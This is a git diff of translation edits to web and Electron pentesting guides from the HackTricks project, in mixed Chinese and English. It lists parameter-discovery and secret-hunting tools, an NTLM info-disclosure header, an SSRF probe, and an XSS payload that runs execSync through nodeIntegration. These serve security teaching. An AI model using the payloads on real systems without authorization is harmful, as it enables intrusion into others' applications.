+- **Discover new parameters**:你可以使用像 [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **和** [**Param Miner**](https://github.com/PortSwigger/param-miner) **这样的工具来发现隐藏参数。如果可能,应尝试在每个可执行的 web 文件上搜索** 隐藏参数。
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
-- **Comments:** 检查所有文件的注释,你可能会发现 **credentials** 或 **隐藏功能**。
-- 如果你在做 **CTF**,一个“常见”的技巧是将 **信息**隐藏在页面**右侧**的注释中(使用**数百个空格**,这样如果在浏览器中打开源码你就不会看到数据)。另一种可能是使用**多个换行**并在页面底部的注释中**隐藏信息**。
-- **API keys**: 如果你**发现任何 API key**,有一些项目说明如何使用不同平台的 API keys: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
-- Google API keys: 如果你发现任何看起来像 **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik 的 API key,可以使用项目 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 来检查该 key 可以访问哪些 apis。
-- **S3 Buckets**: 在 spidering 时查看是否有任何 **subdomain** 或 **link** 与某个 **S3 bucket** 相关。如果是这种情况,去 [**check** the **permissions** of the bucket](buckets/index.html)。
+- **Comments:** 检查所有文件的注释,可能会找到 **credentials** 或 **hidden functionality**。
+- 如果你在玩 **CTF**,一个“常见”的技巧是在页面的**右边**通过注释隐藏信息(使用**数百个空格**,以便在用浏览器打开源码时看不到数据)。另一种可能是使用**多个换行**并在网页底部的注释中**隐藏信息**。
+- **API keys**:如果你**发现任何 API key**,有一些指南说明如何使用不同平台的 API keys: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
+- Google API keys: 如果你发现任何以 **AIza** 开头的 API key(例如看起来像 **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik),你可以使用项目 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 来检查该 key 可以访问哪些 apis。
+- **S3 Buckets**:在 spidering 时检查是否有任何 **subdomain** 或任何 **link** 与某个 **S3 bucket** 相关。如果是这种情况,请 [**check** the **permissions** of the bucket](buckets/index.html)。
### Special findings
-在执行 **spidering** 和 **brute-forcing** 时,你可能会发现需要特别**注意**的**有趣**的**东西**。
+**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**.
**Interesting files**
-- 在 **CSS** 文件中查找指向其他文件的 **links**。
+- Look for **links** to other files inside the **CSS** files.
- [If you find a _**.git**_ file some information can be extracted](git.md)
-- 如果你发现 _**.env**_,可以找到诸如 api keys、db 密码和其他信息。
-- 如果你发现 **API endpoints**,你[也应该测试它们](web-api-pentesting.md)。这些不是文件,但它们很可能“看起来像”文件。
-- **JS files**: 在 spidering 部分列出了若干可以从 JS 文件中提取路径的工具。另外,监控每个发现的 JS 文件也很有意义,因为在某些情况下,文件的变化可能表明代码中引入了潜在的漏洞。你可以例如使用 [**JSMon**](https://github.com/robre/jsmon)**。**
-- 你还应该使用 [**RetireJS**](https://github.com/retirejs/retire.js/) 或 [**JSHole**](https://github.com/callforpapers-source/jshole) 检查发现的 JS 文件以判断它们是否存在已知漏洞。
+- If you find a _**.env**_ information such as api keys, dbs passwords and other information can be found.
+- If you find **API endpoints** you [should also test them](web-api-pentesting.md). These aren't files, but will probably "look like" them.
+- **JS files**:在 spidering 部分提到了多个可以从 JS files 提取路径的工具。此外,建议对每个找到的 JS file 做监控,因为在某些情况下,文件的变化可能表明代码中引入了潜在漏洞。你可以例如使用 [**JSMon**](https://github.com/robre/jsmon)**.**
+- 你还应该使用 [**RetireJS**](https://github.com/retirejs/retire.js/) 或 [**JSHole**](https://github.com/callforpapers-source/jshole) 检查发现的 JS files 以判断是否存在已知漏洞。
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
-- 在很多场景下,你需要**理解正则表达式**的用法,这会很有帮助: [https://regex101.com/](https://regex101.com) 或 [https://pythonium.net/regex](https://pythonium.net/regex)
-- 你还可以**监控检测到表单的文件**,因为参数变化或新表单的出现可能表明潜在的新漏洞功能。
+- On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex)
+- You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality.
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@@ -313,21 +313,21 @@ _注意:每当在 brute-forcing 或 spidering 过程中发现新目录时,
**502 Proxy Error**
-如果任何页面以该 **code** 响应,很可能是一个 **配置错误的 proxy**。**如果你发送一个像这样的 HTTP 请求: `GET https://google.com HTTP/1.1`**(包含 host header 和其他常见头),proxy 会尝试访问 _**google.com**_,那么你就发现了一个 **SSRF**。
+If any page **responds** with that **code**, it's probably a **bad configured proxy**. **If you send a HTTP request like: `GET https://google.com HTTP/1.1`** (with the host header and other common headers), the **proxy** will try to **access** _**google.com**_ **and you will have found a** SSRF.
**NTLM Authentication - Info disclosure**
-如果要求认证的运行服务器是 **Windows**,或者你发现一个要求你输入 **credentials**(并要求 **domain** **name**)的登录,你可以触发一个**信息泄露**。\
-**发送** 头:`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`,由于 **NTLM authentication** 的工作机制,服务器会在头 "WWW-Authenticate" 中返回内部信息(IIS 版本、Windows 版本...)。\
-你可以使用 nmap 插件 "_http-ntlm-info.nse_" 来**自动化**此操作。
+If the running server asking for authentication is **Windows** or you find a login asking for your **credentials** (and asking for **domain** **name**), you can provoke an **information disclosure**.\
+**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` and due to how the **NTLM authentication works**, the server will respond with internal info (IIS version, Windows version...) inside the header "WWW-Authenticate".\
+You can **automate** this using the **nmap plugin** "_http-ntlm-info.nse_".
**HTTP Redirect (CTF)**
-可以把内容放在 **Redirection** 中。这些内容**不会显示给用户**(因为浏览器会执行重定向),但有东西可能被**隐藏**在里面。
+It is possible to **put content** inside a **Redirection**. This content **won't be shown to the user** (as the browser will execute the redirection) but something could be **hidden** in there.
### Web Vulnerabilities Checking
-在对 web 应用进行了全面枚举之后,就该检查大量可能的漏洞了。你可以在这里找到检查清单:
+Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here:
{{#ref}}
@@ -342,7 +342,7 @@ Find more info about web vulns in:
### Monitor Pages for changes
-你可以使用像 [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) 这样的工具来监控页面修改,这些修改可能引入漏洞。
+You can use tools such as [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) to monitor pages for modifications that might insert vulnerabilities.
### HackTricks Automatic Commands
```
diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
index 1b18bd8ae..efad047e7 100644
--- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
+++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
@@ -4,27 +4,27 @@
## 介绍
-Electron 将本地后端(使用 **NodeJS**)和前端(使用 **Chromium**)结合在一起,尽管它缺少现代浏览器的一些安全机制。
+Electron 将本地后端(使用 **NodeJS**)与前端(**Chromium**)结合在一起,但它缺少现代浏览器的一些安全机制。
-通常你可能会在 `.asar` 应用中找到 Electron 应用的代码,要获取这些代码你需要将其提取:
+通常你可能会在一个 `.asar` 应用中找到 Electron 应用的代码,为了获取这些代码你需要将其提取:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
-在 Electron 应用的源代码中,在 `packet.json` 内,你可以看到指定了 `main.js` 文件,其中设置了安全配置。
+在 Electron 应用的源代码里,`packet.json` 中会指定 `main.js`,安全配置就在该文件中设置。
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
-Electron 有 2 种进程类型:
+Electron 有两种进程类型:
-- 主进程(可完全访问 NodeJS)
-- 渲染进程(出于安全原因,应该限制对 NodeJS 的访问)
+- 主进程(可以完全访问 NodeJS)
+- 渲染进程(出于安全原因应限制对 NodeJS 的访问)
.png>)
-一个 **渲染进程** 将是一个加载文件的浏览器窗口:
+一个**渲染进程**将是一个加载文件的浏览器窗口:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
@@ -32,18 +32,18 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
-Settings of the **渲染进程** can be **配置** in the **主进程** inside the main.js file. Some of the configurations will **阻止 Electron 应用程序 获取 RCE** or other vulnerabilities if the **设置正确配置**。
+可以在 main.js 文件内的 **主进程** 中 **配置** **渲染进程** 的设置。如果 **设置正确配置**,其中一些配置可以 **防止 Electron 应用遭受 RCE** 或其他漏洞利用。
-The Electron application **能够访问设备** via Node apis although it can be configure to prevent it:
+Electron 应用虽然可以通过 Node API 访问设备,但可以通过配置来阻止:
-- **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the 渲染进程.
-- **`contextIsolation`** - is `on` by default. If off, 主进程 and 渲染进程 aren't isolated.
-- **`preload`** - empty by default.
-- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform.
+- **`nodeIntegration`** - 默认为 `off`。如果为 on,则允许从渲染进程访问 Node 功能。
+- **`contextIsolation`** - 默认为 `on`。如果为 off,主进程和渲染进程不会被隔离。
+- **`preload`** - 默认为空。
+- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 默认为 off。它会限制 NodeJS 可以执行的操作。
- Node Integration in Workers
-- **`nodeIntegrationInSubframes`**- is `off` by default.
-- If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **加载在 iframes 中** within an Electron application.
-- If **`nodeIntegration`** is **disabled**, then preload 会在 iframe 中加载
+- **`nodeIntegrationInSubframes`**- 默认为 `off`。
+- 如果 **`nodeIntegration`** 被 **enabled**,这将允许在 Electron 应用中加载到 **iframes** 的网页中使用 **Node.js APIs**。
+- 如果 **`nodeIntegration`** 被 **disabled**,则 preload 会在 iframe 中加载
Example of configuration:
```javascript
@@ -97,14 +97,13 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### 捕获流量
-修改 start-main 配置并添加对 proxy 的使用,例如:
+修改 start-main 配置,并添加 proxy,例如:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron Local Code Injection
-如果你能在本地执行一个 Electron App,可能会让它执行任意的 javascript 代码。详见:
-
+如果你可以在本地执行一个 Electron App,可能使其执行任意 javascript 代码。查看:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
@@ -112,7 +111,7 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
## RCE: XSS + nodeIntegration
-如果 **nodeIntegration** 被设置为 **on**,网页的 JavaScript 可以通过调用 `require()` 轻松使用 Node.js 功能。例如,在 Windows 上执行 calc 应用的方式是:
+如果 **nodeIntegration** 设置为 **on**,网页的 JavaScript 只需调用 `require()` 就能轻易使用 Node.js 的功能。例如,在 Windows 上执行 calc 应用的方法是:
```html